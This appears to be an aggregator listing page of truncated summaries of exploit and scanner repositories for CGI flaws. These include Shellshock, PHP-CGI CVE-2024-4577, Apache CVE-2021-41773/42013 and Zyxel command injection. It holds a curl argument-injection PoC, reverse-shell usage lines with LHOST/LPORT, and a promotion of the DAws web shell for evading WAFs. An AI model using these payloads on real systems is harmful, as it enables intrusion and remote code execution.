PHP-Shell-Detector

Web Shell 检测器 Web Shell 检测器 – 是一个 PHP 脚本，可帮助您查找和识别 php/cgiperl/asp/aspx 类型的 Shell。Web Shell 检测器拥有一个“Web Shell”签名数据库，可帮助识别 Web Shell 的准确率高达 99%。通过使用最新的 JavaScript 和 CSS 技术，Web Shell 检测器具有轻量级且友好的界面。 Web Shell 检测器基于 MIT 许可证发布 http://www.opensource.org/licenses/mit-license.php 控制台版本...

shellshock-cve-lab

Laboratorio Shellshock CVE-2014-6271 Este repositorio contiene un pequeño laboratorio CGI para CVE-2014-6271. Compila GNU bash 4.2, sirve un script CGI a través de un servidor estilo RFC-3875 en Python, y mapea las cabeceras de las peticiones en variables de entorno CGI. Sentinel reprodujo este...

CVE-2026-6837-zyxel-export-cgi-command-injection

CVE-2026-6837：Zyxel export-cgi PKCS12 命令注入 本仓库整理了 CVE-2026-6837 的公开分析文章、快速验证脚本及配套证据。 这是什么 CVE-2026-6837 是 Zyxel export-cgi 处理器中的一个认证后命令注入漏洞。在 category=pkcs12 分支中，处理器根据证书名称和导出密码构造一条 shell 命令，然后将该字符串传递给 system。密码中精心构造的双引号会突破预期字符串边界并执行 shell 语法。 本仓库中的本地逆向工作以 WAX650S V7.10ABRM.4C0 为基准，但 Zyxel 于...

CVE-2021-41773

CVE-2021-41773 测试场 这是一个小型 Docker 配置，用于在基于 Debian bookworm 的容器中搭建一个运行 Apache HTTPd 2.4.49 的实例，该版本存在 CVE-2021-41773 漏洞。 已显式启用 CGI，因此可用于测试/验证本地文件泄露行为以及远程命令执行行为。 用法 root@kitploit: $ docker-compose build && docker-compose-up 本地文件泄露 root@kitploit: $ curl -s --path-as-is...

CVE-2024-4577

🚀 CVE-2024-4577：PHP CGI 参数注入扫描器与漏洞利用工具 🛡️ 概述 CVE-2024-4577 是一个影响使用通用网关接口（CGI）的 PHP 应用程序的 严重漏洞。该工具兼具扫描器 与漏洞利用 功能，使网络安全专业人员能够： 检测 PHP CGI 参数注入缺陷 利用漏洞实现远程代码执行（RCE） 在易受攻击的系统上执行任意 PHP 代码 🔑 主要特性 🔍 漏洞检测： 稳健的扫描流程，用于识别易受攻击的 PHP 应用程序 💥 漏洞利用功能： 可自定义的 payload，用于针对性漏洞利用 🔧 灵活的 Payload 管理： 指定 PHP payload...

cve-2018-11714_POC

cve-2018-11714POC 在 TP-Link TL-WR840N 上发现了一个问题。该问题是由 /cgi/ 文件夹或 /cgi 文件的不当会话处理引起的。如果攻击者发送带有 "Referer: http://192.168.0.1/mainFrame.htm" 的标头，则任何操作都无需身份验证。 文章 pt-br: https://nous.sidneypepo.com/router2025.html...

DAws

Hello everyone, About There's multiple things that makes DAws better than every Web Shell out there: 1. Bypasses Security SystemsIPS, WAFs,etc like Suhosinuses up to 20 php functions just to get a command executed. 2. Drops CGI Shells and communicate with them to bypass Security Systems. 3. Uses...

cgi-bin-shellshock

Cómo usar Clona el repositorio o simplemente copia y pega el que prefieras root@kitploit: sudo git clone https://github.com/Gurguii/shellshock.sh Ejecuta el script Bash root@kitploit: bash shellshock.sh -u -h -p Python root@kitploit: python3 shellshock.py -u -lh -lp Nota: el LPORT por defecto es...

CVE-2024-4577

仅用于研究 默认XAMPP的PoC root@kitploit: curl -v -d "" http://127.0.0.1/php-cgi/php-cgi.exe/?%add+allowurlinclude%3Don+-d+autoprependfile%3Dphp%3A//input+-d+cgi.forceredirect%3D0...

CVE-2024-4577-RCE

Inyección de Argumentos en PHP CGI CVE-2024-4577 RCE 📜 Descripción...

Shocker-TJNULL-OSCP-

HackTheBox: Shocker 攻击报告 一份结构化的专业演练，展示了对严重Shellshock 漏洞的识别和手动利用，随后通过Linux目标上配置错误的sudo权限进行本地权限提升。 技术概述 目标操作系统: Linux IP地址: 10.10.10.56 难度: 简单 核心漏洞: Shellshock CVE-2014-6271 及配置错误的Sudo权限 /usr/bin/perl 目标: 通过CGI环境变量注入获得初始用户访问权限并提升至root。 1. 枚举与侦察 评估从一次快速的全端口TCP...

CVE-2021-42013_Reverse-Shell

CVE-2021-42013Reverse-Shell CVE-2021-42013 的 PoC：Apache 2.4.50（带 CGI）反向 Shell 用法： root@kitploit: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:port/ LHOST LPORT 更多信息： root@kitploit: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:8083 10.0.000.000 9999 ...

CVE-2024-4577

PHP CGI参数注入 CVE-2024-4577 远程代码执行 📜 描述 在 PHP 8.1. 至 8.1.29 之前、8.2. 至 8.2.20 之前、8.3. 至 8.3.8 之前的版本中，当在 Windows 上使用 Apache 和 PHP-CGI 时，如果系统设置为使用某些代码页，Windows 可能使用“最佳匹配”行为来替换传递给 Win32 API 函数的命令行中的字符。PHP CGI 模块可能会将这些字符误解为 PHP 选项，从而允许恶意用户向正在运行的 PHP 二进制文件传递选项，进而泄露脚本源代码、在服务器上执行任意 PHP 代码等。 "XAMPP...

Cgi-bin_bash_Reverse

Cgi-binbashReverse CVE-2014-6271 的 PoC 来源:https://gist.github.com/matjohn2/bc9689c60d4c9c5a2538...

CVE-2021-42013-Apache-RCE-Poc-Exp

Nombre de la vulnerabilidad Apache ejecución remota de código CVE-2021-42013 Descripción de la vulnerabilidad Apache HTTP Server es un servidor web de código abierto de la Apache Software Foundation. Este servidor se caracteriza por ser rápido, fiable y ampliable a través de una API simple. Se...

CVE-2022-30525

CVE-2022-30525 Zyxel 防火墙命令注入漏洞 CVE-2022-30525 POC&EXP author:160team.west9B 仅限用于安全研究人员在授权的情况下使用，遵守网络安全法，产生任何问题，后果自负，与作者无关。 01-基本介绍 2022 年 5 月 12 日，Zyxel（合勤）发布安全公告，修复了其防火墙设备中未经身份验证的远程命令注入漏洞（CVE-2022-30525），该漏洞的CVSS评分为9.8。该漏洞存在于某些Zyxel防火墙版本的 CGI 程序中，允许在未经身份验证的情况下在受影响设备上执行任意命令。 影响范围: ATP系列固件：5.10-5....

ShellShock-CGI-Scan

ShellShock-CGI-Scan 一个用 C 语言编写的脚本，用于检查 CGI 脚本是否存在 CVE-2014-6271（Bash 漏洞）漏洞。 选项： root@kitploit: -i（本地 IP 地址） -p（监听的端口） -l（网站列表） -t（连接超时时间）（默认：15 秒） 示例： $ ./Scanner -i 127.0.0.1 -p 31337 -l sites.txt -t 5 在 localhost 上启动监听，端口为 31337，扫描文件 'sites.txt' 中的网站，并将连接超时时间设置为 5 秒。 预览： alt tag...

CVE-2017-17562

CVE-2017-17562 RCE GoAhead web server 2.5 3.6.5 Standalone Python 3 reverse shell exploit for CVE-2017-17562, works on GoAhead web server versions 2.5 3.6.5. Blog article here. Written and tested on Python 3.7 based on POC and vulnerable environment here. Some code borrowed from the Metasploit...

CVE-2014-6271

CVE-2014-6271 - Shellshock.py Shellshock 漏洞利用，又名 CVE-2014-6271。 已在 Bash 3.2 和 Bash 4.2 上测试。 有关该漏洞的更多信息，请访问：https://nvd.nist.gov/vuln/detail/CVE-2014-6271 说明 该漏洞利用主要在 Hack The Box 的以下靶机上进行了测试： Beep 靶机：https://app.hackthebox.eu/machines/Beep Shocker 靶机：https://app.hackthebox.eu/machines/Shocker...

shellshock-cgi

shellshock-cgi 一个用于枚举特定服务器上易受CVE-2014-6271漏洞影响的CGI脚本的Python脚本 用法 root@kitploit: $ python testing.py --server 172.16.255.130 --listen 172.16.255.1 示例返回： root@kitploit: + Testing if 172.16.255.130 is vulnerable to CVE-2014-6271 via CGI + Listening for incoming connections on the following socket...